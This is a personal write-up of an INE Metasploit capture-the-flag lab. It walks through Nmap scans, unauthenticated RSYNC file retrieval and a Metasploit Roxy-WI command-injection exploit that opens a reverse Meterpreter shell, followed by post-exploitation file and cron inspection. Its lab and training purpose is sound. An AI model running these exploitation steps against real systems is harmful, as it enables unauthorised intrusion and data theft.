October 28, 2026
Host & Network Penetration Testing: The Metasploit Framework CTF 2 โ A Hands-On Walkthrough
Notice to Readers

By Prajwal S
7 min read
Notice to Readers
This article documents my hands-on experience completing the Host & Network Penetration Testing: The Metasploit Framework CTF 2 lab in the INE training environment. It covers service enumeration, RSYNC file discovery, web application exploitation using Metasploit, and post-exploitation investigation.
Introduction
In this lab, I was provided with GUI access to a Kali Linux machine and two targets:
target1.ine.localtarget2.ine.local
The objective was to explore the targets, identify exposed services, investigate accessible files, exploit a vulnerable web application using Metasploit, and inspect scheduled tasks to find the final flag.
The lab contained four objectives:
- Enumerate the open port and inspect the RSYNC banner.
- Explore the RSYNC server's files to find another flag.
- Exploit the web application on
target2.ine.localusing Metasploit to gain a shell. - Investigate scheduled jobs or running processes to uncover the final flag.
I started by scanning the first target, then investigated the RSYNC service and its accessible files. After capturing the first two flags, I moved to the second target, identified the Roxy-WI web application, and used a Metasploit exploit module to obtain a Meterpreter session. Finally, I inspected the target's filesystem and discovered a scheduled-task configuration containing the fourth flag.
Flag 1 โ Enumerate the Open Port and Inspect the RSYNC Banner
Objective: Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.
Step 1: Scan the first target
I began by running Nmap against target1.ine.local.
nmap -sV -sC target1.ine.localnmap -sV -sC target1.ine.localCommand breakdown:
nmapโ launches the network scanning tool.-sVโ attempts to identify the services and their versions running on open ports.-sCโ runs Nmap's default set of NSE scripts to gather additional service information.target1.ine.localโ specifies the first lab target.
The scan returned the following relevant result:
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)This showed that TCP port 873 was open and running RSYNC, with protocol version 31 reported by Nmap.
RSYNC is commonly used to synchronize files and directories between systems. An exposed RSYNC service is worth investigating because its configuration may allow users to list or retrieve files without authentication.
Note: My recorded command for this step was Nmap, rather than a Metasploit port-scanning module. The actual output confirmed that RSYNC was listening on port 873.
Step 2: Inspect the RSYNC response
After identifying the service, I queried the RSYNC server directly:
rsync rsync://target1.ine.localrsync rsync://target1.ine.localThe server returned:
backupwscohen FLAG1_973d688be5324100a0aca39845e55909backupwscohen FLAG1_973d688be5324100a0aca39845e55909This response revealed an available RSYNC module named backupwscohen. It also exposed the first flag directly in the module-listing response.
The rsync:// prefix tells the client to connect using the RSYNC protocol. Since I did not specify a module after the hostname, the command requested the server's available module list.
The result showed that the service disclosed useful information without requiring me to authenticate.
What I learned
This step demonstrated why service enumeration should go beyond identifying an open port. Once I found RSYNC, querying its response revealed a module name and the first flag.
Flag 2 โ Explore the RSYNC Server's Files
Objective: The files on the RSYNC server hold valuable information. Explore the contents to find the flag.
Step 1: List the files in the RSYNC module
After identifying the backupwscohen module, I investigated its contents:
rsync rsync://target1.ine.local/backupwscohenrsync rsync://target1.ine.local/backupwscohenThe server returned:
drwxr-xr-x 4,096 2026/10/28 19:59:11 .
-rw-r--r-- 20 2024/10/28 15:05:40 TPSData.txt
-rw-r--r-- 25 2024/10/28 15:05:40 office_staff.vhd
-rw-r--r-- 39 2026/10/28 19:59:11 pii_data.xlsxdrwxr-xr-x 4,096 2026/10/28 19:59:11 .
-rw-r--r-- 20 2024/10/28 15:05:40 TPSData.txt
-rw-r--r-- 25 2024/10/28 15:05:40 office_staff.vhd
-rw-r--r-- 39 2026/10/28 19:59:11 pii_data.xlsxThe module contained three files:
TPSData.txtoffice_staff.vhdpii_data.xlsx
This listing showed that the module exposed files that could be investigated further.
Step 2: Download the files
I downloaded each file into my current working directory:
rsync rsync://target1.ine.local/backupwscohen/TPSData.txt .
rsync rsync://target1.ine.local/backupwscohen/office_staff.vhd .
rsync rsync://target1.ine.local/backupwscohen/pii_data.xlsx .rsync rsync://target1.ine.local/backupwscohen/TPSData.txt .
rsync rsync://target1.ine.local/backupwscohen/office_staff.vhd .
rsync rsync://target1.ine.local/backupwscohen/pii_data.xlsx .Command breakdown:
rsyncโ runs the file synchronization client.rsync://target1.ine.local/backupwscohen/โ identifies the remote server and module.- The filename at the end specifies the individual file to retrieve.
- . โ specifies the current directory as the local destination.
I then used ls to verify that the files had been downloaded:
lslsThe output showed TPSData.txt, office_staff.vhd, and pii_data.xlsx in my current directory.
Step 3: Inspect the downloaded file
I inspected pii_data.xlsx with:
cat pii_data.xlsxcat pii_data.xlsxThe output was:
FLAG2_e54ef7f30b9043b1b21406c915c7efc2FLAG2_e54ef7f30b9043b1b21406c915c7efc2This revealed the second flag.
Although the filename used an .xlsx extension, the contents displayed as readable text in this lab. The command worked because the file contained the flag as plain text rather than a conventional binary Excel workbook.
What I learned
The important finding was that the RSYNC module allowed me to list and retrieve files without authentication. That made it possible to inspect the exposed data and discover the second flag.
This step also reminded me not to rely solely on file extensions when examining files in a lab. The actual contents determine which inspection method is appropriate.
Flag 3 โ Exploit the Web Application on target2.ine.local
Objective: Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.
Step 1: Enumerate the second target
I moved to target2.ine.local and ran:
nmap -sV -sC -Pn target2.ine.localnmap -sV -sC -Pn target2.ine.localCommand breakdown:
nmapโ launches the network scanner.-sVโ attempts to identify the services and versions.-sCโ runs Nmap's default NSE scripts.-Pnโ skips host discovery and treats the target as online for scanning.target2.ine.localโ specifies the second target.
The scan identified these services:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Roxy-WI
|_http-server-header: Apache/2.4.52 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| ssl-cert: Subject: commonName=*.roxy-wi.org/organizationName=Roxy-WI/stateOrProvinceName=Almaty/countryName=US
|_http-title: Roxy-WIPORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Roxy-WI
|_http-server-header: Apache/2.4.52 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| ssl-cert: Subject: commonName=*.roxy-wi.org/organizationName=Roxy-WI/stateOrProvinceName=Almaty/countryName=US
|_http-title: Roxy-WIThe HTTP title identified the web application as Roxy-WI. Both HTTP and HTTPS were available, and the scan reported Apache HTTP Server 2.4.52 on Ubuntu.
This information gave me a starting point for searching for a relevant Metasploit module.
Step 2: Launch Metasploit and search for Roxy-WI
I launched the Metasploit Framework:
msfconsole -qmsfconsole -qThe -q option starts the console in quiet mode, reducing startup output.
Inside Metasploit, I searched for modules related to Roxy-WI:
search Roxy-WIsearch Roxy-WIThe search returned:
exploit/linux/http/roxy_wi_execexploit/linux/http/roxy_wi_execThe module description identified it as a Roxy-WI unauthenticated command-injection remote code execution exploit for versions prior to 6.1.1.0.
This was relevant to the application I had identified through Nmap.
Step 3: Select the exploit and review its options
I selected the first matching module:
use 0use 0I then reviewed its available configuration:
optionsoptionsThe important options included:
OptionInitial valuePurposeRHOSTSUnsetSpecifies the remote target host.RPORT443Specifies the target TCP port.SSLtrueEnables HTTPS/TLS for the connection.TARGETURI/Specifies the path to the vulnerable web application.LHOST127.0.0.1Initial callback address for the reverse connection.LPORT4444Local port used by the reverse handler.
The module's default target port was 443, which matched the HTTPS service found during the scan.
Step 4: Configure the target
I set the target hostname:
set RHOSTS target2.ine.localset RHOSTS target2.ine.localThen I configured the callback address to use my Kali lab machine's address:
set LHOST 192.91.227.2set LHOST 192.91.227.2Why these options matter:
RHOSTSidentifies the remote system against which the module runs.LHOSTspecifies the address to which the reverse payload should connect.LPORTspecifies the listening port; in my transcript, it remained at the default of4444.
The callback address must be reachable from the target in the lab network.
Step 5: Execute the exploit
I launched the module:
exploitexploitMetasploit reported that the target was vulnerable and that its test command executed successfully:
[*] Started reverse TCP handler on 192.91.227.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.91.227.4:443 is vulnerable!
[*] 192.91.227.4:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
[*] Sending stage (24768 bytes) to 192.91.227.4
[*] Meterpreter session 1 opened[*] Started reverse TCP handler on 192.91.227.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.91.227.4:443 is vulnerable!
[*] 192.91.227.4:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
[*] Sending stage (24768 bytes) to 192.91.227.4
[*] Meterpreter session 1 openedThe successful Meterpreter session confirmed that I had obtained interactive access to the target.
Step 6: Navigate the filesystem and retrieve the flag
Inside Meterpreter, I checked my current working directory:
pwdpwdThe output was:
/var/www/haproxy-wi/app/var/www/haproxy-wi/appI moved to the root directory:
cd /cd /Then I listed its contents:
lslsThe output included a file named flag.txt in /.
I read the file:
cat flag.txtcat flag.txtThe output was:
FLAG3_00e781f518f2438582d1d78f8d27fb35FLAG3_00e781f518f2438582d1d78f8d27fb35This completed the third objective.
What I learned
This part of the lab demonstrated a practical exploitation workflow:
- Identify the web application through service enumeration.
- Search Metasploit for a relevant exploit module.
- Review the module's configuration.
- Set the target and callback address.
- Execute the module and check the result.
- Use the Meterpreter session to locate the requested flag.
Obtaining a Meterpreter session does not automatically prove that privilege escalation has occurred. In my recorded steps, I accessed the flag file from the root directory, but I did not document a separate privilege-escalation procedure.
Flag 4 โ Investigate Scheduled Jobs or Running Processes
Objective: Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.
Step 1: Inspect the cron configuration directory
After retrieving Flag 3, I continued investigating the target through the Meterpreter session.
I navigated into /etc:
cd etccd etcThen I opened the cron configuration directory:
cd cron.dcd cron.dI listed its contents:
lslsThe output showed:
e2scrub_all
www-data-crone2scrub_all
www-data-cronThe /etc/cron.d directory commonly contains configuration files for scheduled jobs. The www-data-cron file looked like a useful item to inspect.
Step 2: Read the scheduled-job file
Instead of attempting to enter it again, I read its contents:
cat www-data-croncat www-data-cronThe output was:
* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"This revealed the fourth flag.
Understanding the cron entry
The entry follows the format of a system-wide cron job:
* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"- The first five fields specify the schedule: minute, hour, day of the month, month, and day of the week.
- Five asterisks mean the job is scheduled to run every minute.
www-dataspecifies the account under which the job is configured to run.echoprints the quoted text.
The flag was included directly in the command, so I did not need to wait for the scheduled job to execute. Reading the configuration file was enough to find it.
What I learned
Scheduled-task files can provide useful information during post-exploitation investigation. They may reveal commands, execution schedules, and the accounts associated with automated tasks.
This step also reinforced a practical lesson: when a command fails because an entry is not a directory, check whether it is a file and inspect it using the appropriate command.
Lessons Learned
1. Service enumeration is an essential starting point
Nmap helped me identify RSYNC on port 873 and the Roxy-WI web application on ports 80 and 443. This information guided the next steps of the assessment.
2. Exposed file-sharing services can disclose sensitive information
The RSYNC module allowed me to list and retrieve files without authentication. This demonstrated the importance of restricting access to file-sharing services and reviewing their permissions.
3. Metasploit requires careful configuration
Searching for the application, reviewing module options, setting RHOSTS and LHOST, and observing the exploit output helped me understand the exploitation process.
4. A Meterpreter session enables further investigation
After gaining access, I navigated the filesystem and read the requested flag file. I then inspected the scheduled-task configuration to discover the final flag.
5. Errors can provide useful feedback
The failed attempt to change into www-data-cron showed that it was not a directory. Recognizing the difference between a file and a directory helped me choose the correct next command.
Conclusion
In this INE lab, I completed all four objectives by combining service enumeration, RSYNC file discovery, Metasploit exploitation, and post-exploitation inspection.
The first target exposed an RSYNC module that revealed the first flag and provided access to files containing the second. The second target hosted Roxy-WI, which I successfully exploited with Metasploit to obtain a Meterpreter session and retrieve the third flag. Finally, I inspected /etc/cron.d and found the fourth flag inside a scheduled-job configuration file.
The main lesson I took from this lab was that penetration testing is a process of following evidence. Each step โ from identifying an open port to inspecting a configuration file โ provided information that guided the next action.